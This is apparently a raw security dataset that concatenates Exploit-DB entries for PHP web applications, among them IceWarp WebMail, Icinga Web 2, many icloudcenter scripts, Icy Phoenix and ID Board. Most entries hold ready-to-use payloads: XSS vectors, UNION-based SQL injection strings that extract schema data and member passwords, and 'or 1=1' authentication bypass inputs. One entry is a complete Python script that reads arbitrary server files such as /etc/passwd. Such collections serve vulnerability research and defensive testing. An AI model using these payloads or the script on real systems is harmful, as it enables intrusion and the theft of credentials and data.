deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26310
Description: IceWarp Web Mail 5.5.1 - 'calendar_m.html?createdataCX' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-30
Author: ss_contacts

Exploit:
source: https://www.securityfocus.com/bid/14980/info
  
IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[xss_here]
Exploit-DB #26311
Description: IceWarp Web Mail 5.5.1 - 'calendar_w.html?createdataCX' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-30
Author: ss_contacts

Exploit:
source: https://www.securityfocus.com/bid/14980/info
   
IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[xss_here]
Exploit-DB #47988
Description: IceWarp WebMail 11.4.4.1 - Reflective Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-02-03
Author: Lutfu Mert Ceylan

Exploit:
# Title: IceWarp WebMail 11.4.4.1 - Reflective Cross-Site Scripting
# Date: 2020-01-27
# Author: Lutfu Mert Ceylan
# Vendor Homepage: www.icewarp.com
# Tested on: Windows 10
# Versions: 11.4.4.1 and before
# Vulnerable Parameter: "color" (Get Method)
# Google Dork: inurl:/webmail/ intext:Powered by IceWarp Server
# CVE: CVE-2020-8512

# Notes:

# An attacker can use XSS (in color parameter IceWarp WebMail 11.4.4.1 and
# before)to send a malicious script to an unsuspecting Admins or users. The
# end admins or useras browser has no way to know that the script should not
# be trusted, and will execute the script. Because it thinks the script came
# from a trusted source, the malicious script can access any cookies, session
# tokens, or other sensitive information retained by the browser and used
# with that site. These scripts can even rewrite the content of the HTML
# page. Even an attacker can easily place users in social engineering through
# this vulnerability and create a fake field.

# PoC:

# Go to Sign-in page through this path: http://localhost/webmail/ or
http://localhost:32000/webmail/

# Add the "color" parameter to the URL and write malicious code, Example:
http://localhost/webmail/?color="><svg/onload=alert(1)>

# When the user goes to the URL, the malicious code is executed

Example Vulnerable URL: http://localhost/webmail/?color=
"><svg/onload=alert(1)>
Exploit-DB #41132
Description: ICGames-Games Site Script 1.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ICGames-Games Site Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/games-site-script.htm
# Demo: http://www.icloudcenter.net/demos/icgames/
# Version: 1.2
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #42682
Description: ICGrocery 1.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Grocery Store Supermarket Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/grocery-store-supermarket-script.htm
# Demo: http://icloudcenter.net/demos/icgrocery/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42688
Description: ICHelpDesk 1.1 - 'pk' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Support Tickets Helpdesk PHP Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/support-tickets-helpdesk-script.htm
# Demo: http://icloudcenter.net/demos/ichelpdesk/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&pk=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42669
Description: ICHotelReservation 3.3 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Hotel Reservation Site Script 3.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/hotel-reservation-site-script.htm
# Demo: http://icloudcenter.net/demos/ichotelreservation/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #51329
Description: Icinga Web 2.10 - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2023-04-08
Author: Jacob Ebben

Exploit:
#!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Arbitrary File Disclosure
# Date: 2023-03-19
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24716
# Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

import argparse
import requests
from termcolor import colored

def print_message(message, type):
    if type == 'SUCCESS':
        print('[' + colored('SUCCESS', 'green') +  '] ' + message)
    elif type == 'INFO':
        print('[' + colored('INFO', 'blue') +  '] ' + message)
    elif type == 'WARNING':
        print('[' + colored('WARNING', 'yellow') +  '] ' + message)
    elif type == 'ALERT':
        print('[' + colored('ALERT', 'yellow') +  '] ' + message)
    elif type == 'ERROR':
        print('[' + colored('ERROR', 'red') +  '] ' + message)

def get_normalized_url(url):
    if url[-1] != '/':
        url += '/'
    if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
        url = "http://" + url
    return url

def get_proxy_protocol(url):
    if url[0:8].lower() == 'https://':
        return 'https'
    return 'http'

parser = argparse.ArgumentParser(description='Arbitrary File Disclosure Vulnerability in Icinga Web <2.8.6, <2.9.6, <2.10')
parser.add_argument('TARGET', type=str, 
                help='Target Icinga location (Example: http://localhost:8080/icinga2/ or https://victim.xyz/icinga/)')
parser.add_argument('FILE', type=str, 
                help='Filename to gather from exploit (Example: "/etc/passwd" or "/etc/icingaweb2/config.ini")')
parser.add_argument('-P','--proxy', type=str,
                help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
args = parser.parse_args()

if args.proxy:
    proxy_url = get_normalized_url(args.proxy)
    proxy_protocol = get_proxy_protocol(proxy_url)
    proxies = { proxy_protocol: proxy_url }
else:
    proxies = {}

base_url = get_normalized_url(args.TARGET)
exploit_url = base_url + "lib/icinga/icinga-php-thirdparty" + args.FILE

request = requests.get(base_url, proxies=proxies)
if request.status_code == 404:
	print_message("Could not connect to provided URL!", "ERROR")
	exit()

request = requests.get(exploit_url, proxies=proxies)
file_content = request.text

print(file_content)
Exploit-DB #42679
Description: ICJewelry 1.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Jewelry Store Site Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/jewelry-site-script.htm
# Demo: http://icloudcenter.net/demos/icjewelry/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #35547
Description: ICJobSite 1.1 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-30
Author: RoAd_KiLlEr

Exploit:
source: https://www.securityfocus.com/bid/47100/info

ICJobSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ICJobSite 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/icjobsite/index.php?page=position_details&pid=[SQL-Injection]
Exploit-DB #42667
Description: ICLowBidAuction 3.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Unique Low Bid Auction Script 3.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/unique-low-bid-auction-script.htm
# Demo: http://www.icloudcenter.net/demos/iclowbidauction/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42668
Description: ICMLM 2.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: MLM Software Script 2.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/mlm-script.htm
# Demo: http://www.icloudcenter.net/demos/icmlm/
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# '+/*!00007uNiOn*/+/*!00007SelEct*/+0x283129,0x283229,0x3c68313e496873616e2053656e63616e3c2f68313e,(/*!50000Select*/+export_set(5,@:=0,(/*!50000select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!50000table_name*/,0x3c6c693e,2),/*!50000column_name*/,0xa3a,2)),@,2))--+-
# 
# Etc..
# # # # #
Exploit-DB #35931
Description: ICMusic 1.2 - 'music_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-11
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/48639/info

ICMusic is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ICMusic 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/demos/icmusic/music.php?music_id=-291+union+all+select+1,@@version,3,4,5,6--
Exploit-DB #42681
Description: ICProductConfigurator 1.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Customized Products Shopping Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/bpProductConfigurator.htm
# Demo: http://icloudcenter.net/demos/icproductconfigurator/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42685
Description: ICProjectBidding 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Project Bidding Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/project_bidding_script.htm
# Demo: http://www.icloudcenter.net/demos/icprojectbidding/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #21399
Description: IcrediBB 1.1 - Script Injection
Type: webapps
Platform: php
Date: 2002-04-19
Author: Daniel NystrÃ¶m

Exploit:
source: https://www.securityfocus.com/bid/4548/info

IcrediBB is freely available web forum software. It is written in PHP and will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

IcrediBB does not adequately filter script code from forum message form fields. This may enable an attacker to inject malicious script code into forum messages.

An attacker who exploits this may be able to hijack web content or steal cookie-based authentication credentials. 

Post a message with the following text in the subject or message body:

<script>alert('Cross Site Scripting possible');</script>
Exploit-DB #42672
Description: ICRestaurant software 1.4 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Restaurant Site Script 1.4 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/restaurant-site-script.htm
# Demo: http://icloudcenter.net/demos/icrestaurant/
# Version: 1.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42689
Description: ICSiteBuilder 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Website Builder Script With e-Commerce 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/site-builder-script.htm
# Demo: http://icloudcenter.net/demos/icsitebuilder/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #42677
Description: ICStudents 1.2 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Students Course Assessment Test Script 1.2 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/student-course-assessment-test-script.htm
# Demo: http://icloudcenter.net/demos/icstudents/
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# -EfE'+/*!00009UniOn*/+/*!00009SelEcT*/+0x31,0x32,0x3c68313e494853414e2053454e43414e3c2f68313e,(/*!00009Select*/+export_set(5,@:=0,(/*!00009select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!00009table_name*/,0x3c6c693e,2),/*!00009column_name*/,0xa3a,2)),@,2))--+-
# 
# Etc..
# # # # #
Exploit-DB #42678
Description: ICSurvey 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ICSurvey- Survey Creating Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/survey-creating-script.htm
# Demo: http://icloudcenter.net/demos/icsurvey/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_page&key=[SQL]
# 
# http://localhost/[PATH]/survey.php?page=preview&test=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #42675
Description: ICTraveling 2.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-09-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Travel Site Script 2.2 - Authentication Bypass
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/traveling-website-script.htm
# Demo: http://icloudcenter.net/demos/ICPenny/
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #41134
Description: ICTutors Tutoring Site Script 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-20
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: ICTutors-Tutoring Site Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/tutoring-site-script.htm
# Demo: http://www.icloudcenter.net/demos/ictutors/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #16199
Description: Icy Phoenix 1.3.0.53a - HTTP Referer Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-20
Author: Saif El-Sherei

Exploit:
# Exploit Title: Icy Phoenix 1.3.0.53a http referer stored XSS
# Google Dork: " Powered by Icy Phoenix <http://www.icyphoenix.com/>"
# Date: 16-2-2011
# Author: Saif El-Sherei
# Software Link: http://www.icyphoenix.com/dload.php?action=file&file_id=171
# Version: Icy Phoenix 1.3.0.53a
# Tested on:FF 3.0.15, IE 8
# Vendor Response:
http://www.icyphoenix.com/viewtopic.php?f=1&p=51700#p51700

Info:

Icy Phoenix is a CMS based on phpBB (a fully scalable  and highly
customisable open-source Bulletin Board
package PHP based) plus many modifications and code integrations which add
flexibility to the whole package. The official home page for phpBB is
www.phpbb.com. Icy Phoenix has some features originally developed for phpBB
XS Project which has been founded by Bicet and then developed by both Bicet
and Mighty Gorgon. Icy Phoenix has been created by Mighty Gorgon after he
left the phpBB XS Project.

Details:

there is a stoed XSS Vulnerability using http referer HTTP header due to
failure in "index.php" in the acp to sanitize the http referer header any
visitor to the site can comprmise the admin account or any user with
privileges to see the "http referrers" section under the "Info" section. an
attacker has to use an intrcepting proxy or manual server requests to add
the " HTTP referer header" containing the POC to the server request.

POC:

<script>alert("XSS");</script>
Exploit-DB #25958
Description: ID Team ID Board 1.1.3 - 'SQL.CLS.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-07-10
Author: Defa

Exploit:
source: https://www.securityfocus.com/bid/14204/info

ID Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect ID Board version 1.1.3; other versions may also be vulnerable. 

http://www.example.com/index.php?site=warn&f=1%20WHERE%200=1%20UNION%20SELECT%20mem_pw%20as%20post_topic_name%20FROM%20members%20WHERE%20mem_id=1/*&0&warn=0
Exploit-DB #31009
Description: ID-Commerce 2.0 - 'liste.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-10
Author: consultant.securite

Exploit:
source: https://www.securityfocus.com/bid/27220/info

ID-Commerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/liste.php?idFamille=1%20or%201=1#
http://www.example.com/liste.php?idFamille=1%20or%201=0#